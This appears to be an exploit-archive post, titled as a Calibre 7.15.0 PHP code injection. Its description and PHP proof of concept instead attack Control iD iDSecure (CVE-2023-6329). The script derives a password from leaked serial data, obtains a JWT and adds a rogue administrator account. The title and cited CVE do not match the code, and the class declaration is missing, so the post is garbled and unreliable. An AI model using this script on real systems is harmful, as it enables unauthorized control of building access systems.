============================================================================================================================================= | # Title : Calibre 7.15.0 PHP Code Injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) | | # Vendor : https://download.calibre-ebook.com/7.15.0/ | ============================================================================================================================================= POC : [+] Dorking İn Google Or Other Search Enggine. [+] Code Description: It used to exploit a vulnerability in the Control iD iDSecure access control system that allows unauthenticated remote attackers to access the system administration interface and add a new administrative user. Main uses of the code: Version check: The code first checks whether the current version of the system is affected by the specified vulnerability (CVE-2023-6329). If the version is affected by the vulnerability (less than or equal to 4.7.43.0), the exploit can be executed. Sensitive data extraction:Extracts data such as serial and passwordRandom from the target server using a GET request to a specific API. This data is used to generate a custom password (passwordCustom) which is part of the authentication process. ( https://packetstorm.news/files/id/180007/ CVE-2024-6782) [+] save code as poc.php. [+] Set Target : line 162 [+] USage : php poc.php [+] PayLoad : target_uri = $target_uri; $this->new_user = $new_user ?? bin2hex(random_bytes(4)); // Default to random alphanumeric user $this->new_password = $new_password ?? bin2hex(random_bytes(6)); // Default to random alphanumeric password } // Check if vulnerable version is running public function check() { $url = $this->target_uri . '/api/util/configUI'; $response = $this->send_request($url, 'GET'); if ($response['code'] != 401) { return 'Unknown'; } $data = json_decode($response['body'], true); $version = $data['Version'] ?? null; if (is_null($version)) { return 'Unknown'; } echo "Got version: $version\n"; if (version_compare($version, '4.7.43.0', '<=')) { return 'Appears'; } return 'Safe'; } // Exploit to add a new user public function run() { // Step 1: Get serial and passwordRandom $url = $this->target_uri . '/api/login/unlockGetData'; $response = $this->send_request($url, 'GET'); if (!$response) { throw new Exception("Failed to receive a reply from the server."); } $json = json_decode($response['body'], true); $password_random = $json['passwordRandom'] ?? null; $serial = $json['serial'] ?? null; if (!$password_random || !$serial) { throw new Exception('Unable to retrieve passwordRandom and serial'); } echo "Retrieved passwordRandom: $password_random\n"; echo "Retrieved serial: $serial\n"; // Step 2: Create passwordCustom $sha1_hash = sha1($serial); $combined_string = $sha1_hash . $password_random . 'cid2016'; $sha256_hash = hash('sha256', $combined_string); $short_hash = substr($sha256_hash, 0, 6); $password_custom = base_convert($short_hash, 16, 10); echo "Created passwordCustom: $password_custom\n"; // Step 3: Login with passwordCustom and passwordRandom to get JWT $body = json_encode([ 'passwordCustom' => $password_custom, 'passwordRandom' => $password_random ]); $url = $this->target_uri . '/api/login/'; $response = $this->send_request($url, 'POST', $body); if (!$response) { throw new Exception("Failed to receive a reply from the server."); } $json = json_decode($response['body'], true); $access_token = $json['accessToken'] ?? null; if (!$access_token) { throw new Exception('Did not receive JWT'); } echo "Retrieved JWT: $access_token\n"; // Step 4: Add a new administrative user $body = json_encode([ 'idType' => '1', 'name' => $this->new_user, 'user' => $this->new_user, 'newPassword' => $this->new_password, 'password_confirmation' => $this->new_password ]); $url = $this->target_uri . '/api/operator/'; $response = $this->send_request($url, 'POST', $body, $access_token); if (!$response) { throw new Exception("Failed to receive a reply from the server."); } $json = json_decode($response['body'], true); if ($json['code'] !== 200 || $json['error'] !== 'OK') { throw new Exception('Unexpected reply from server'); } // Step 5: Confirm the new credentials work $body = json_encode([ 'username' => $this->new_user, 'password' => $this->new_password, 'passwordCustom' => null ]); $url = $this->target_uri . '/api/login/'; $response = $this->send_request($url, 'POST', $body); if (!$response) { throw new Exception("Failed to receive a reply from the server."); } $json = json_decode($response['body'], true); if (!isset($json['accessToken']) || !isset($json['unlock'])) { throw new Exception('Received unexpected reply'); } echo "New user '{$this->new_user}:{$this->new_password}' was successfully added.\n"; echo "Login at: " . $this->target_uri . "/#/login\n"; } // Helper function to send HTTP requests private function send_request($url, $method, $body = null, $token = null) { $headers = [ 'Content-Type: application/json' ]; if ($token) { $headers[] = "Authorization: Bearer $token"; } $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); if ($body) { curl_setopt($ch, CURLOPT_POSTFIELDS, $body); } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $response_body = curl_exec($ch); $response_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return ['code' => $response_code, 'body' => $response_body]; } } // Example usage: $target_uri = 'https://example.com'; $module = new ControlIDiDSecureAuthBypass($target_uri); if ($module->check() === 'Appears') { $module->run(); } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================